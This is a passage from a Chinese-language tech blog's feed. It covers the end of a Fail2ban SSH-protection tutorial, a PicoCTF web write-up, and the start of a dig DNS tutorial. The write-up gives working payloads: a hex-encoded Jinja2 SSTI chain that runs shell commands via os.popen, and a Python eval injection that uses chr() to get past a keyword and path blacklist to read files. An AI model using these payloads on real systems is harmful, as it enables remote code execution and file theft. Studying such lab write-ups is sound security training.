     CGroup: /system.slice/fail2ban.service
             └─4002 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Dec 10 13:14:12 owo systemd[1]: Started fail2ban.service - Fail2Ban Service.
Dec 10 13:14:12 owo fail2ban-server[4002]: Server ready
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Jail 監獄設定&lt;/h2&gt;
&lt;h3&gt;什麼是 Jail？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;jail.conf&lt;/code&gt; 是 Fail2ban 的核心封禁規則設定檔。Jail（監獄）定義了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;誰應該被抓&lt;/strong&gt;：哪些行為屬於可疑或惡意？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;怎麼處罰&lt;/strong&gt;：封鎖多久？封鎖哪些端口？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;建立本地 Jail 設定&lt;/h3&gt;
&lt;p&gt;同樣地，我們需要複製一份本地設定檔來避免被更新覆蓋：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo vim /etc/fail2ban/jail.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;啟用 SSH 防護&lt;/h3&gt;
&lt;p&gt;在預設狀態下，Fail2ban 對所有服務都是停用的，因此我們需要手動啟用需要的服務。以下以 SSH 為例：&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;/etc/fail2ban/jail.local&lt;/code&gt; 中找到或新增以下區段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[sshd]
enabled = true                    # 啟用 SSH 防護
filter = sshd                     # 使用 sshd 過濾器
maxretry = 3                      # 最大失敗嘗試次數
bantime = 600                     # 封鎖時長（秒）
port = 22                         # SSH 服務端口
logpath = %(sshd_log)s            # SSH 日誌檔案路徑
backend = %(sshd_backend)s        # 日誌讀取後端
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;設定說明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enabled = true&lt;/code&gt;：啟用 SSH 監獄&lt;/li&gt;
&lt;li&gt;&lt;code&gt;filter = sshd&lt;/code&gt;：使用預定義的 sshd 過濾規則&lt;/li&gt;
&lt;li&gt;&lt;code&gt;maxretry = 3&lt;/code&gt;：允許失敗 3 次後封鎖&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bantime = 600&lt;/code&gt;：封鎖 10 分鐘（600 秒）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;port = 22&lt;/code&gt;：監控 SSH 預設端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;修改完成後重啟服務：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo service fail2ban restart
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;實戰測試&lt;/h2&gt;
&lt;h3&gt;模擬攻擊&lt;/h3&gt;
&lt;p&gt;使用另一台機器嘗試 SSH 登入，並故意輸入錯誤密碼 3 次以上。你會發現第 4 次嘗試時會出現以下錯誤訊息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh: connect to host 192.168.139.231 port 22: Connection refused
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這表示你的 IP 已經被 Fail2ban 成功封鎖。&lt;/p&gt;
&lt;h3&gt;檢查封鎖狀態&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;fail2ban-client&lt;/code&gt; 工具檢查當前的封鎖狀態：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fail2ban-client status sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你會看到類似以下的輸出，顯示被封鎖的 IP 以及統計資訊：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- Journal matches:	_SYSTEMD_UNIT=ssh.service + _COMM=sshd
`- Actions
   |- Currently banned:	1
   |- Total banned:	1
   `- Banned IP list:	192.168.139.108
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常用參數詳解&lt;/h2&gt;
&lt;p&gt;以下是 Fail2ban 最常用的參數說明，幫助你進行更精細的調整：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;參數&lt;/th&gt;
&lt;th&gt;說明&lt;/th&gt;
&lt;th&gt;範例值&lt;/th&gt;
&lt;th&gt;備註與建議&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ignoreip&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IP 白名單&lt;/strong&gt;。Fail2ban 絕對不會封鎖這些 IP。請務必將管理用 IP、內部網路 IP 加入，避免誤鎖自己。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;127.0.0.1/8 192.168.1.5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;支援 CIDR 格式（如 &lt;code&gt;/24&lt;/code&gt;），多個 IP 用&lt;strong&gt;空白&lt;/strong&gt;分隔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;bantime&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;封鎖時長&lt;/strong&gt;。被偵測到的 IP 將被封鎖多久。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1h&lt;/code&gt;（1小時）&amp;lt;br&amp;gt;&lt;code&gt;1d&lt;/code&gt;（1天）&amp;lt;br&amp;gt;&lt;code&gt;-1&lt;/code&gt;（永久）&lt;/td&gt;
&lt;td&gt;預設為 10 分鐘，建議至少設定為 &lt;code&gt;1h&lt;/code&gt; 或更長&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;findtime&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;觀察時間窗口&lt;/strong&gt;。在多久的時間內累積失敗次數。與 &lt;code&gt;maxretry&lt;/code&gt; 配合使用。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10m&lt;/code&gt;（10分鐘）&amp;lt;br&amp;gt;&lt;code&gt;1d&lt;/code&gt;（24小時）&lt;/td&gt;
&lt;td&gt;設為 10m 表示攻擊者須在 10 分鐘內連續失敗才會被封鎖，超過時間則計數歸零&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;maxretry&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;最大容忍失敗次數&lt;/strong&gt;。在 &lt;code&gt;findtime&lt;/code&gt; 期間內允許失敗幾次。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;（嚴格）&amp;lt;br&amp;gt;&lt;code&gt;5&lt;/code&gt;（預設）&lt;/td&gt;
&lt;td&gt;SSH 建議設為 &lt;code&gt;3&lt;/code&gt;；網頁應用可能誤觸，建議設 &lt;code&gt;5&lt;/code&gt; 或更多&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;enabled&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;啟用開關&lt;/strong&gt;。是否啟用該 Jail。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt; 或 &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;除了 &lt;code&gt;[DEFAULT]&lt;/code&gt; 外，所有 Jail 預設為 &lt;code&gt;false&lt;/code&gt;，需手動啟用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;port&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;監控端口&lt;/strong&gt;。指定要封鎖哪個端口的連線。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;http,https&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;8080&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;可使用服務名稱（由 &lt;code&gt;/etc/services&lt;/code&gt; 解析）或直接使用端口號&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;logpath&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;日誌檔案路徑&lt;/strong&gt;。Fail2ban 讀取哪個日誌檔案來偵測攻擊。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/auth.log&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;/var/log/nginx/error.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;最常設錯的地方&lt;/strong&gt;。必須指向服務實際寫入的日誌位置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;backend&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;日誌讀取模式&lt;/strong&gt;。指定如何讀取日誌。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemd&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;auto&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;現代 Linux（Ubuntu 20+, CentOS 7+）建議 SSH 使用 &lt;code&gt;systemd&lt;/code&gt;，傳統日誌檔使用 &lt;code&gt;auto&lt;/code&gt; 或 &lt;code&gt;polling&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;banaction&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;封鎖動作&lt;/strong&gt;。指定使用哪個防火牆工具執行封鎖。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iptables-multiport&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;ufw&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;nftables-multiport&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;必須配合系統安裝的防火牆工具&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;一些花式用法&lt;/h2&gt;
&lt;p&gt;:::info
之後補上
:::&lt;/p&gt;
</content:encoded><category>fail2ban</category><category>ssh</category><category>linux</category><category>cybersecurity</category><category>server-security</category><category>network-security</category><category>iptables</category><category>ubuntu</category><category>debian</category><author>CHIEN (qian)</author></item><item><title>PicoCTF Web Exploitation Medium 分級解題紀錄</title><link>https://blog.chien.dev/posts/picoctf_med_web/</link><guid isPermaLink="true">https://blog.chien.dev/posts/picoctf_med_web/</guid><description>紀錄 PicoCTF Web Exploitation Medium 分級的解題過程與心得</description><pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;這裡放的是一些解題紀錄。
如果某題沒有出現在這裡，只有兩種可能：一是我已經解過了，二是我還沒解到。&lt;/p&gt;
&lt;h2&gt;SSTI2&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;SSTI（Server-Side Template Injection）是一種安全漏洞，發生在應用程式將使用者輸入直接嵌入伺服器端模板引擎（如 Jinja2、Twig、Smarty）中解析時。攻擊者可以利用模板語法注入惡意指令，進而讀取敏感檔案、洩漏伺服器資訊，甚至達成遠端程式碼執行（RCE）。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;h4&gt;1. 觀察網頁與漏洞偵測&lt;/h4&gt;
&lt;p&gt;觀察網站後會發現有一個輸入框，先試試輸入 &lt;code&gt;{{7*7}}&lt;/code&gt; 看看回應。&lt;/p&gt;
&lt;p&gt;結果頁面顯示了 &lt;strong&gt;49&lt;/strong&gt;，確認伺服器存在 SSTI 漏洞，且使用的是 Jinja2 模板引擎。&lt;/p&gt;
&lt;p&gt;接著嘗試標準的 RCE payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;id&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;結果頁面回傳了 &lt;code&gt;Stop trying to break me &amp;gt;:(&lt;/code&gt;，代表後端有做過濾。&lt;/p&gt;
&lt;h4&gt;2. 測試過濾規則&lt;/h4&gt;
&lt;p&gt;為了釐清哪些東西被擋，逐一測試了幾個關鍵字與符號：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{{config}}&lt;/code&gt;：&lt;strong&gt;OK&lt;/strong&gt;（回傳 Flask Config）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{{request}}&lt;/code&gt;：&lt;strong&gt;OK&lt;/strong&gt;（回傳 Request 物件）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{{lipsum}}&lt;/code&gt;：&lt;strong&gt;OK&lt;/strong&gt;（回傳內建函數物件）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt;（點號）與 &lt;code&gt;_&lt;/code&gt;（底線）：在特定關鍵字組合下會被攔截。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;題目給了一個 Hint：&lt;strong&gt;「Why is blacklisting characters a bad idea?」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;這暗示黑名單無法完全封鎖所有路徑，可以利用 Jinja2 的特性來繞過字串檢查。&lt;/p&gt;
&lt;h4&gt;3. 構造繞過 Payload（十六進制編碼）&lt;/h4&gt;
&lt;p&gt;既然點號和特定關鍵字（如 &lt;code&gt;__globals__&lt;/code&gt;、&lt;code&gt;os&lt;/code&gt;、&lt;code&gt;popen&lt;/code&gt;）被擋了，改用以下策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;|attr()&lt;/code&gt; 過濾器取代點號存取。&lt;/li&gt;
&lt;li&gt;將所有敏感字串（屬性名稱與指令）全部轉換為&lt;strong&gt;十六進制（Hex Encoding）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先嘗試列出目錄下的檔案（&lt;code&gt;ls&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ request|attr(&apos;\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e&apos;)|attr(&apos;\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f&apos;)|attr(&apos;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&apos;)(&apos;\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f&apos;)|attr(&apos;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&apos;)(&apos;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f&apos;)(&apos;\x6f\x73&apos;)|attr(&apos;\x70\x6f\x70\x65\x6e&apos;)(&apos;\x6c\x73&apos;)|attr(&apos;\x72\x65\x61\x64&apos;)() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;輸出結果：&lt;/strong&gt;
&lt;code&gt;__pycache__ app.py flag requirements.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目錄下確實有一個名為 &lt;code&gt;flag&lt;/code&gt; 的檔案。&lt;/p&gt;
&lt;h4&gt;4. Flag&lt;/h4&gt;
&lt;p&gt;確認檔案名稱後，將 &lt;code&gt;ls&lt;/code&gt; 的十六進制（&lt;code&gt;\x6c\x73&lt;/code&gt;）替換為 &lt;code&gt;cat flag&lt;/code&gt;（&lt;code&gt;\x63\x61\x74\x20\x66\x6c\x61\x67&lt;/code&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最終 Payload：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ request|attr(&apos;\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e&apos;)|attr(&apos;\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f&apos;)|attr(&apos;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&apos;)(&apos;\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f&apos;)|attr(&apos;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&apos;)(&apos;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f&apos;)(&apos;\x6f\x73&apos;)|attr(&apos;\x70\x6f\x70\x65\x6e&apos;)(&apos;\x63\x61\x74\x20\x66\x6c\x61\x67&apos;)|attr(&apos;\x72\x65\x61\x64&apos;)() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag：&lt;/strong&gt;
&lt;code&gt;picoCTF{日本利用壓電瓷磚將腳步轉化為電能。}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;3v@l&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; 是很多程式語言都有的內建函數（Python、JavaScript、PHP 都有），簡單來說就是把一段字串當程式碼跑。像這樣：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eval(&quot;2 + 2&quot;)  # 回傳 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;聽起來很方便對吧？但如果使用者的輸入被直接丟進 &lt;code&gt;eval()&lt;/code&gt;，那攻擊者就能注入任意程式碼，直接在伺服器上為所欲為（RCE）。&lt;/p&gt;
&lt;p&gt;這題的網站用 Python Flask 寫的，後端拿 &lt;code&gt;eval()&lt;/code&gt; 來算數學。雖然有用正則表達式做了一層 WAF 來擋危險的關鍵字跟指令，但嘛... 題目名稱都叫 &lt;code&gt;3v@l&lt;/code&gt; 了，擺明就是要你繞過去。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;h4&gt;1. 先確認漏洞&lt;/h4&gt;
&lt;p&gt;看到題目名稱就知道八九不離十了。先在輸入框試幾個簡單的：&lt;/p&gt;
&lt;p&gt;輸入 &lt;code&gt;pow(2, 10)&lt;/code&gt; 得到 &lt;code&gt;1024&lt;/code&gt;，輸入 &lt;code&gt;len(&quot;hello&quot;)&lt;/code&gt; 得到 &lt;code&gt;5&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;好，確認後端真的直接把輸入丟進 &lt;code&gt;eval()&lt;/code&gt; 跑。&lt;/p&gt;
&lt;h4&gt;2. 試著 RCE，然後撞牆&lt;/h4&gt;
&lt;p&gt;既然是 Python，直覺就是用 &lt;code&gt;os.popen&lt;/code&gt; 來跑系統指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__import__(&apos;os&apos;).popen(&apos;ls&apos;).read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;結果噴了：&lt;code&gt;Error: Detected forbidden keyword &apos;os&apos;.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有黑名單。那試試字串拼接繞過：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__import__(&apos;o&apos;+&apos;s&apos;).popen(&apos;l&apos;+&apos;s&apos;).read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又噴了：&lt;code&gt;Error: Detected forbidden keyword &apos;ls&apos;.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以過濾器會掃整段輸入，只要出現 &lt;code&gt;os&lt;/code&gt;、&lt;code&gt;ls&lt;/code&gt; 這些關鍵字就直接擋。&lt;/p&gt;
&lt;h4&gt;3. 偷看原始碼&lt;/h4&gt;
&lt;p&gt;既然拼接能過一部分，先試著讀 &lt;code&gt;app.py&lt;/code&gt; 看看完整的過濾規則。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;open(&apos;app.py&apos;).read()&lt;/code&gt; 被擋，改用拼接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;open(&apos;ap&apos;+&apos;p.py&apos;).read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功拿到原始碼！讓我們來看看：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BLOCKLIST_KEYWORDS&lt;/strong&gt;：&lt;code&gt;os&lt;/code&gt;、&lt;code&gt;eval&lt;/code&gt;、&lt;code&gt;ls&lt;/code&gt;、&lt;code&gt;cat&lt;/code&gt;、&lt;code&gt;shell&lt;/code&gt; 等一堆關鍵字&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FILE_PATH_REGEX&lt;/strong&gt;：&lt;code&gt;[\\\/]&lt;/code&gt; 擋斜線，&lt;code&gt;\.[A-Za-z0-9]{1,3}\b&lt;/code&gt; 擋副檔名（像 &lt;code&gt;.py&lt;/code&gt;、&lt;code&gt;.txt&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 用 chr() 繞過正則&lt;/h4&gt;
&lt;p&gt;從前面的測試知道根目錄有個 &lt;code&gt;flag.txt&lt;/code&gt;，但 WAF 擋了 &lt;code&gt;/&lt;/code&gt; 跟 &lt;code&gt;.txt&lt;/code&gt;，不能直接寫路徑。&lt;/p&gt;
&lt;p&gt;那就用 &lt;code&gt;chr()&lt;/code&gt; 把被禁的符號拼出來：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; = &lt;code&gt;chr(47)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt; = &lt;code&gt;chr(46)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;順帶一提，&lt;code&gt;.read()&lt;/code&gt; 不會被正則抓到，因為 &lt;code&gt;read&lt;/code&gt; 是 4 個字元，而正則只擋 1~3 碼的副檔名。&lt;/p&gt;
&lt;h4&gt;5. 最終 Payload&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;open(chr(47) + &apos;flag&apos; + chr(46) + &apos;txt&apos;).read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag：&lt;/strong&gt;
&lt;code&gt;picoCTF{這些瓷磚能捕捉你腳步產生的動能。}&lt;/code&gt;&lt;/p&gt;
</content:encoded><category>PicoCTF</category><category>Web Exploitation</category><category>CTF</category><category>網路安全</category><author>CHIEN (qian)</author></item><item><title>dig 指令完整教學：DNS 查詢、範例與故障排除</title><link>https://blog.chien.dev/posts/dig-guide/</link><guid isPermaLink="true">https://blog.chien.dev/posts/dig-guide/</guid><description>從 dig 基本語法到 A、AAAA、MX、TXT、NS、SOA、PTR 查詢，學會用 dig 排查 DNS 設定錯誤、快取與授權問題。</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什麼是 dig？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dig&lt;/code&gt; 是 &lt;strong&gt;Domain Information Groper&lt;/strong&gt; 的縮寫，是非常經典的 DNS 查詢工具。當你想知道某個網域目前解析到哪個 IP、MX 記錄有沒有設對、TXT 驗證字串是否生效，或是某台 DNS 伺服器回了什麼內容時，&lt;code&gt;dig&lt;/code&gt; 幾乎都是第一個該拿出來的工具。&lt;/p&gt;
&lt;p&gt;跟 &lt;code&gt;nslookup&lt;/code&gt; 比起來，&lt;code&gt;dig&lt;/code&gt; 的輸出更完整、結構更清楚，也更適合除錯與自動化腳本使用。&lt;/p&gt;
&lt;p&gt;如果你平常會碰到以下情境，建議一定要熟：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;網站剛切換 DNS，想確認解析是否正確&lt;/li&gt;
&lt;li&gt;信箱收不到信，想檢查 MX 記錄&lt;/li&gt;
&lt;li&gt;網域驗證失敗，想檢查 TXT 記錄&lt;/li&gt;
&lt;li&gt;想比對不同 DNS 伺服器的查詢結果&lt;/li&gt;
&lt;li&gt;想知道問題出在遞迴 DNS、授權 DNS 還是快取&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;dig 可以用來做什麼？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dig&lt;/code&gt; 最常見的用途包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查詢 A / AAAA / MX / TXT / NS / SOA / CNAME 等 DNS 記錄&lt;/li&gt;
&lt;li&gt;指定特定 DNS 伺服器查詢，例如 &lt;code&gt;1.1.1.1&lt;/code&gt; 或 &lt;code&gt;8.8.8.8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;觀察 TTL、Authority、Additional Section 等細節&lt;/li&gt;
&lt;li&gt;追查 DNS 委派路徑&lt;/li&gt;
&lt;li&gt;進行反向 DNS 查詢（PTR）&lt;/li&gt;
&lt;li&gt;檢查 DNSSEC、TCP 查詢與 trace 結果&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;dig 安裝方式&lt;/h2&gt;
&lt;h3&gt;Debian / Ubuntu&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install dnsutils -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RHEL / Rocky / AlmaLinux / CentOS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install bind-utils -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;macOS&lt;/h3&gt;
&lt;p&gt;macOS 通常已內建 &lt;code&gt;dig&lt;/code&gt;，可直接確認：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果沒有，通常可透過安裝 BIND 工具或其他套件管理方式補齊，但大多數情況下系統本身就能使用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;dig 基本語法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig [@DNS伺服器] 網域 [查詢類型] [選項]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常見的幾種形式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查詢網域的預設記錄（通常是 A）
dig google.com

# 指定查詢類型
dig google.com AAAA

# 指定 DNS 伺服器
dig @1.1.1.1 google.com

# 指定 DNS 伺服器與查詢類型
dig @8.8.8.8 google.com MX
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;先看懂 dig 輸出&lt;/h2&gt;
&lt;p&gt;先執行一個最基本的例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig cloudflare.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你通常會看到類似這樣的輸出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; cloudflare.com
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 32617
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;cloudflare.com.                        IN      A

;; ANSWER SECTION:
cloudflare.com.         192     IN      A       104.16.132.229
cloudflare.com.         192     IN      A       104.16.133.229

;; Query time: 86 msec
;; SERVER: fe80::a4c3:37ff:fe5b:8364%11#53(fe80::a4c3:37ff:fe5b:8364%11)
;; WHEN: Wed Mar 18 14:10:37 CST 2026
;; MSG SIZE  rcvd: 75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重點看這幾個欄位：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;status: NOERROR&lt;/code&gt;：查詢成功&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ANSWER SECTION&lt;/code&gt;：真正查到的答案&lt;/li&gt;
&lt;li&gt;&lt;code&gt;300&lt;/code&gt;：TTL，代表快取存活秒數&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVER&lt;/code&gt;：這次是問哪台 DNS 伺服器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Query time&lt;/code&gt;：查詢耗時&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常見狀態碼&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NOERROR&lt;/code&gt;：成功查到資料&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NXDOMAIN&lt;/code&gt;：這個網域不存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVFAIL&lt;/code&gt;：DNS 伺服器查詢失敗&lt;/li&gt;
&lt;li&gt;&lt;code&gt;REFUSED&lt;/code&gt;：伺服器拒絕回應&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;最常用的查詢範例&lt;/h2&gt;
&lt;h3&gt;查 A 記錄&lt;/h3&gt;
&lt;p&gt;查 IPv4 位址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com A
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查 AAAA 記錄&lt;/h3&gt;
&lt;p&gt;查 IPv6 位址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com AAAA
